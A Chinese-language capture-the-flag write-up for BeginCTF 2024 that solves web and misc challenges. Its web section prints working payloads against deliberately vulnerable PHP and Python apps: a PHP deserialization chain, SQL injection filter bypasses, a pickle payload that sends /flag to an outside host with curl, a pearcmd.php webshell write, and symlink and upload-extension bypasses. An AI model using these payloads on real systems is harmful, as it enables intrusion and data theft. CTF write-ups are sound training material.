BeginCTF2024 wp web&&misc

永不落的梦想2024-02-13 14:59

web

POPgadget

php反序列化，源码如下；

php 复制代码 
 <?php

highlight_file(__FILE__);
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
}

class Test{
    public function __call($f,$p){
        echo getenv("FLAG");
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A {
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B {
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}

if(isset($_REQUEST['begin'])){
    unserialize($_REQUEST['begin']);
}
?>

B::__destruct()作为开头，调用A不存在的变量，触发A::__get()，调用Fun不存在的方法，触发__call的回调函数执行phpinfo，flag在phpinfo中；

php 复制代码 
# pop链
B::__destruct() => A::__get() => Fun::__call()
php 复制代码 
# exp
<?php
class Fun{
    private $func = 'call_user_func_array';
}
class A {
    public $a;
}
class B {
    public $p = 'phpinfo';
}

$a = new B();
$b = new A();
$c = new Fun();

$a->a = $b;
$b->a = $c;

echo urlencode(serialize($a));
?>
php 复制代码 
# payload
?begin=O%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A1%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Bs%3A20%3A%22call_user_func_array%22%3B%7D%7D%7D

sql教学局

sql注入，给出了提示，flag分为三段；

经测试发现，or、from、select、load被替换为空，空格、=被过滤不能使用，替换为空的可双写绕过，空格使用/**/代替、=使用like代替；

然后根据提示查询三段flag，需注意password、score、information_schema中都有or需双写；

sql 复制代码 
# flag1
?user=1'union/**/selselectect/**/group_concat(flag)/**/frfromom/**/secret.passwoorrd%23

# flag2
?user=1'union/**/selselectect/**/group_concat(grade)/**/frfromom/**/scoorre/**/where/**/student/**/like/**/'begin'%23

# flag3
?user=1'union/**/selselectect/**/loloadad_file("/flag")%23

pickelshop

有登录、注册、pickleshop三个页面，先注册账号，发现返回了cookie，明显是pickle反序列化；

构造payload

python 复制代码 
import pickle
import base64


class Flag(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('curl -T /flag xxx.xxx.xxx.xxx:7777')",))


flag = Flag()
print(base64.b64encode(pickle.dumps(flag)))

尝试发现反序列化在登录页面，不在pickleshop页面，在登录处加上cookie发起请求；

提前开启监听，请求后收到flag；

zupload

下载附件源码，发现index.php中存在任意文件读取；

php 复制代码 
# index.php
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    echo json_encode(array(
        'status' => 'error',
        'message' => 'Not implemented yet'
    ));
}

打开题目是个文件上传界面，实际上直接读取文件即可；

zupload-pro

与上一题区别不大，还是直接读文件，增加了过滤而已，action参数值开头不能为 / 且不能包含 .. ，使用php://filter伪协议读取/flag即可；

php 复制代码 
# index.php
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }            //action参数值开头不能为 / 且不能包含 .. 
    if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    if ($file_error === 0) {
        if ($file_size <= 2097152) {
            $file_destination = 'uploads/' . $file_name;

            if (move_uploaded_file($file_tmp, $file_destination)) {
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'File upload failed'
        ));
    }
}
php 复制代码 
?action=php://filter/read=convert.base64-encode/resource=/flag

base64解码得到flag；

zupload-pro-plus

与上题zupload-pro index.php中get请求部分的代码一致，使用上题的payload伪协议读取flag即可；

php 复制代码 
# index.php
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower($file_ext[1]);
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed)) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_destination = 'uploads/' . $file_name;
    
                if (move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'ok',
                        'message' => 'File uploaded successfully',
                        'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                    ));
                }
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

伪协议读取flag，进行base64解码即可获得flag；

php 复制代码 
?action=php://filter/read=convert.base64-encode/resource=/flag

zupload-pro-plus-max

限制了斜杠 / 的数量，不能再使用伪协议了，尝试pearcmd.php文件包含发现成功；

php 复制代码 
# index.php
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
        die('<h1>Invalid action</h1>');
    }
    die(include($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_destination = 'uploads/' . $file_name;
    
                if (move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'ok',
                        'message' => 'File uploaded successfully',
                        'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                    ));
                }
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

使用pearcmd.php文件包含写入一句话木马，此时参数action中是没有斜杠的符合要求，连接木马获取flag即可；

php 复制代码 
# payload，需要在bp中请求防止编码问题
?+config-create+/&action=pearcmd.php&/<?=eval($_POST[1]);?>+/var/www/html/shell.php

zupload-pro-plus-max-ultra

查看index.php代码发现使用了unzip命令，将上传的zip文件解压到uploads/目录下；

php 复制代码 
# index.php
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    $extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';
    
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed)) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {

                exec('unzip ' . $file_tmp . ' -d ' . $extract_to);

                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

关键代码如下，解压上传的zip文件到uploads/目录下；

php 复制代码 
exec('unzip ' . $file_tmp . ' -d ' . $extract_to);

将指向/flag的软链接压缩成zip上传，访问uploads/目录下的软链接即可下载/flag文件，获得flag；

zupload-pro-plus-max-ultra-premium

还是可以使用上一题的方法，index.php代码与上一题有区别，但是不影响软链接的使用，上传指向/flag软链接的压缩包，访问uploads/目录下的软链接flag即可获得flag；

php 复制代码 
# index.php
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_name_new = uniqid('', true) . '.' . $file_ext;
                $file_destination = 'uploads/' . $file_name_new;
    
                if (!move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'error',
                        'message' => 'Failed to upload file'
                    ));
                }

                exec('unzip ' . escapeshellarg($file_destination) . ' -d ' . 'uploads/');
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

上传软链接压缩包，访问uploads/flag软链接获得flag；

zupload-pro-plus-enhanced

还是这一系列的题，直接上传木马shell.zip.php即可；

php 复制代码 
# index.php
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower($file_ext[1]);
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed)) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_destination = 'uploads/' . $file_name;
    
                if (move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'ok',
                        'message' => 'File uploaded successfully',
                        'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                    ));
                }
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

关键代码如下，使用xxx.zip.php的文件名即可绕过后缀判断，上传php文件到uploads/目录；

php 复制代码 
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower($file_ext[1]);   //xxx.zip.php符合$file_ext[1]=='zip'
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed)) {

上传木马shell.zip.php并访问获取flag；

zupload-pro-revenge

最后一题了，直接上传木马连接即可，无任何限制；

php 复制代码 
# index.php
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    if ($file_error === 0) {
        if ($file_size <= 2097152) {
            $file_destination = 'uploads/' . $file_name;

            if (move_uploaded_file($file_tmp, $file_destination)) {
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'File upload failed'
        ));
    }
}

misc

real check in

给了编码字符串，直接base32解码得到flag；

Tupper

写python脚本将附件中所有文件内容按顺序拼接，得到base64字符串，解码后得到一串数字；

python 复制代码 
14278193432728026049298574575557534321062349352543562656766469704092874688354679371212444382298821342093450398907096976002458807598535735172126657504131171684907173086659505143920300085808809647256790384378553780282894239751898620041143383317064727136903634770936398518547900512548419486364915399253941245911205262493591158497708219126453587456637302888701303382210748629800081821684283187368543601559778431735006794761542413006621219207322808449232050578852431361678745355776921132352419931907838205001184

多种解码都失败，后根据题目名发现是利用tupper公式绘图，网上找脚本即可，将数字放入k中运行绘图获得flag；

python 复制代码 
import numpy as np
import matplotlib.pyplot as plt
from PIL import Image


def Tupper_self_referential_formula(k):
    aa = np.zeros((17, 106))

    def f(x, y):
        y += k
        a1 = 2 ** -(-17 * x - y % 17)
        a2 = (y // 17) // a1
        return 1 if a2 % 2 > 0.5 else 0

    for y in range(17):
        for x in range(106):
            aa[y, x] = f(x, y)
    return aa[:, ::-1]


k = 14278193432728026049298574575557534321062349352543562656766469704092874688354679371212444382298821342093450398907096976002458807598535735172126657504131171684907173086659505143920300085808809647256790384378553780282894239751898620041143383317064727136903634770936398518547900512548419486364915399253941245911205262493591158497708219126453587456637302888701303382210748629800081821684283187368543601559778431735006794761542413006621219207322808449232050578852431361678745355776921132352419931907838205001184
aa = Tupper_self_referential_formula(k)
plt.figure(figsize=(15, 10))
plt.imshow(aa, origin='lower')
plt.savefig("tupper.png")
img = Image.open('tupper.png')
# 翻转
dst1 = img.transpose(Image.FLIP_LEFT_RIGHT).rotate(180)
plt.imshow(dst1)
plt.show()

where is crazyman v1.0

OSINT题目，需找到给出的图中地段名称；

搜图发现图中所处之地为 秋叶原 ，于是flag为，begin{秋叶原} ；

where is crazyman v2.0

OSINT题目，需找到给出的图中景点名称；

搜图找到景点名称 Boulevard World ，得到flag，begin{Boulevard World} ；

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